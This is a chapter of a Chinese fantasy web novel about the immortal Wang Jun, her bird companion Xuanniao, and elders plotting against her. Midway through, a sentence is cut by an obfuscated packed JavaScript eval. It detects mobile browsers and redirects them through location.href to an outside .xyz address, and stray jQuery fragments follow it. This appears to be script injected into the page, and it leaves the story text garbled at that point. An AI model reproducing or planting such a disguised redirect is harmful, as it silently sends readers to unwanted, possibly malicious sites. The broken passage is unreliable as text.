桃李堂安静得只剩王隽和玄鸟,她们很有默契地没有提起女魃透露的机密。
毕竟她们自己还在消化中。
如果三界众生原本为人,那么天界神仙靠轮回极致操纵灵魂的事一定会引起三界大乱。
当然,这事谁提谁死,天界有顺风耳千里眼,王隽还不想被视为异端烧死。
玄鸟显然也这么想,但它几乎快要抑制不住满脑的问题,几经挣扎后,它才试探地开口道:“你觉得你有什么异样吗?”
王隽领会到它的意思,把手放在心口。
她仍然感受不到任何特别的力量。
这不禁让她暗暗怀疑自己是否真的具备女魃所说的上古力量。
“你觉得我有什么异样吗?”
王隽把问题抛回给玄鸟,它同样哽住了。
它自出生后一直与莲吉菩萨在小须弥山修行,除了佛祖菩萨,哪里听说过其他神仙?
“若是有,那也不该那么久都没发现啊……”玄鸟纳闷极了。
王隽拍拍脑袋,似乎想到了答案:“我知道了,这一定是皇帝的新衣!她说我有,只是在忽悠我,目的就是为了把我赶回来。”
玄鸟哑口无言,女魃看起来可不像开玩笑……
可这样的上古力量为何从未有神仙发现?难道在他们登入天界前,女娲就不存在了么?
如果女魃拥有这一点力量就能幻化自然万物,那如她言,是力量本身的王隽又能做到什么地步?
王隽见它严肃地审视自己,头皮发麻:“你该不会想把我剖开来研究吧?”
玄鸟:“……”
王隽知道它没有这个意思后,悄悄松口气,开始自说自话:“坦白说,我现在多少有点怀疑人生。为人时,我从小听的都是盘古开天辟地,女娲造人,夸父逐日的传说,可自成仙后,我也没有机会求证过。如今想想不知有多少杜撰,就连天界的神仙也不知真假。”
她浅浅一叹,继续说:“这天地初始究竟是什么模样的?混沌的宇宙真由盘古开辟吗?女娲真的有丈夫吗?如果普世的真理只是用谎言包裹的真相,那目的是什么?难道是……”
玄鸟盯着她不发音的口型,默默点头表示肯定。
王隽苦笑:是啊,若不是为了权力,何必费尽心思用虚虚实实欺瞒人心?
那如果这一切被推翻了,这个世界会怎样?
她遥遥望向凌霄宝殿,目光仿佛要穿透那不可及的宝座,与天帝平视。
你想要的,究竟是什么?
“我需要向天帝奉命了。”
玄鸟不安地提醒她:“无论如何,眼下不要违逆任何神仙,你在天界没有根基,不能再得罪谁了。”
王隽郑重点头,随即踏出桃李堂。
玄鸟默然靠在她的右肩,歪着脑袋注视她的脸色,恍然发觉:她的心思再不轻易写在脸上,就连万年与她相伴的自己,似乎也难看得透她了。
王隽察觉到它一瞬的落寞,微笑:“无论我经历了什么,有点永远不变。”
玄鸟低低说了一句:“知道,你永远站在人的立场。”
“还有呢!”
她的眉眼弯成月牙:“我永远是你不变的王隽。”
玄鸟的心脏因剧烈的欢喜而怦然跳跃出来,脸上颇为自得:“我也永远不变!”
“那是自然,毕竟你永远都这么黑了。”王隽笑着调侃它。
玄鸟不甘示弱地反驳:“那你永远都这么矮,这么小!”
“那也比你高,比你大!当然,是本体——”
王隽戳戳玄鸟的小脑袋,打断它要变身的念头。
谈笑间,一仙一鸟并未察觉身后匆匆赶回桃李堂的昭壬仙。
他在云里摸索起贝壳形状的腰饰,不满地嘟囔着:“都怪羌草与我拉扯,害得我差点弄丢师父给的宝贝。”
不经意间,余光瞥见王隽的背影消失在云雾里,脸色大变:“怎么,怎么会是她……”
难道她听见了自己和羌草的话?
他不由得向后踉跄几步,努力支撑摇摇欲坠的身体。
虽说自己为避免担责,随意提了几句无关紧要的建议糊弄羌草,但王隽要是将此事捅到天帝那儿,自己一样有包庇之罪。
不!他是师父最得意的大弟子,前途无量,怎么能被这种事牵连?
昭壬咬牙强迫自己定心:师父一定有办法。
他狠狠地盯着王隽离去的方向,扭头离去。
云路一侧,小道童羌草关切地问:“昭壬,东西可找着了?咦,你脸色怎么这么差?”
还不是你害的。
昭壬不自然地把头转向一边,敷衍他道:“无事,天色不早了,我得尽快回去,先告辞了。”
羌草见他急忙乘云而去,摸不着头脑。但自己心中牵挂的事已了,也顾不得细想昭壬为何着急,悠哉悠哉哼着歌走回太阳神殿。
待昭壬匆匆踏进大殿后,夷无老君正与凌岳仙君盘坐而立,神情肃穆,似在商议重要之事。
他胸腔的话哽住,只好行礼离开。
“等等。”
凌岳仙君上下打量他一眼,满眼歉意地对夷无老君道:“抱歉,先失陪片刻,我随后就来。”
夷无老君心领神会地点头,留在原座闭目等待。
“随我来。”凌岳仙君负手走进侧殿,这才流露出关心,“你这是怎么了?”
方才夷无老友在场,自己不好明着询问,否则又要勾起他的思徒之情。
而自己也是,亲眼所见自小在身边喊着师伯的龙辰死在他乡,竟也生出后怕之心。
昭壬是自己亲传的大弟子,生活起居更要事无巨细,绝不能离开自己视线外。
昭壬仙嗫嚅着,最终还是将事情的来龙去脉禀告给凌岳仙君,却见师父面色缓和。
“原来如此,这算不得大事。”
凌岳仙君长舒一口气,“这不会牵连到你。不过……”
他缓缓看向正殿,幽幽道:“你担心的,也正是我们所担心的。”
昭壬仙不解,正想问起,师父却笑笑:“你回去休息吧。”
既然师父说此事不与自己相干,自己确实不必再操心。
他心神稳定下来,恭敬行礼:“徒儿告退。”
凌岳仙君默默目送脚步欢快的昭壬离开,走向夷无老君
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15665622|159305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,脸上的坚定之色更重。
“现在我们是同盟了。”
夷无老君不意外他的选择,缓缓站起背对他道:“既如此,我们便行动吧。”
他的心因过度操劳和悲伤仿佛空度了许多年,也渐渐显化在脸上。
凌岳仙君见昔日最爱笑的老友如今满面忧色,连鬓间的灰发乱了,也顾不得整理,不由得叹气一声:
“都是因为她……”
夷无老君蹒跚走出殿外,狼月在门口焦急地踱步,见他来后,忙上前扶着他。
见他满眼关切,夷无老君轻轻将手抽回。
“狼月,为师要出趟远门,我不在的日子里,就由你来守着师门,不许离开半步。”
狼月心中不安,追问道:“您要去哪儿,请让徒儿与您同去,说不定徒儿还能帮上什么忙……”
“帮忙?帮谁的忙?”
夷无老君低笑一声,“你是怕为师对王隽不利,想要帮她的忙吧?”
难道师父真的要对王隽不利?
狼月不忍直面师父眼中的失望之色,坚持道:“师父,王隽与徒儿是好友,甚至她对我有救命之恩,我岂能忘恩负义?”
“救命之恩?”
夷无老君敏锐地察觉这一词,目光锐利,慢慢向他逼近:“她对你有什么救命之恩?”
狼月却也跟着一怔,这个问题也在叩问着自己记忆的大门。
可里面只有空荡的回声,并没有答案。
“我忘了……”
夷无老君以为他在敷衍自己,痛心疾首道:“你若有龙辰一分诚实,我也不会如此伤心。”
他噙泪摇着头,转身而去,再不看狼月。
“为师要将你龙辰师兄的尸骨带回师门,你要是想走,便走吧……”
狼月犹豫了。
他是该扪心自问:未知的记忆,遗忘的前尘真的比得上眼下真挚的师徒情谊吗?
龙辰师兄出事之前,师父对自己毫无保留,将所学倾囊相授。即便在得知师兄死讯后,也会将自己的日常起居安排好。
师父对自己而言,不仅仅是师父,也是父亲。
他重视这几乎接近亲情的师徒之情,这使他不得不做出让步。
而王隽……
狼月默然片刻,随即就做出了选择。他毅然决然地扶起师父的手,语气坚定道:“师父,我与您同去。”
夷无老君微微讶然,这话与方才大有不同。他这一举动,是向自己表明了自己的立场。
夷无老君欣慰地点点头,“好孩子,我们走。”
“可您怎么知道龙辰师兄的尸骨在那儿?”
夷无老君脚步一顿,他其实也不清楚。只是几日前,他在殿内看见案桌不知何时出现了一张纸条,上面写着龙辰尸骨所在的地点。
他虽心中存疑,却也不得不抱着希望前去。
“师父?”
狼月见师父迟迟没有回应,轻轻拍了拍他的衣袖,袖口却滑出一张被攥得看不出文字的纸条。
他立刻捡起来,努力辨认上面究竟写了什么。
上面赫赫印着几个字:“华夏凤鸣起,辰陨龙死地。”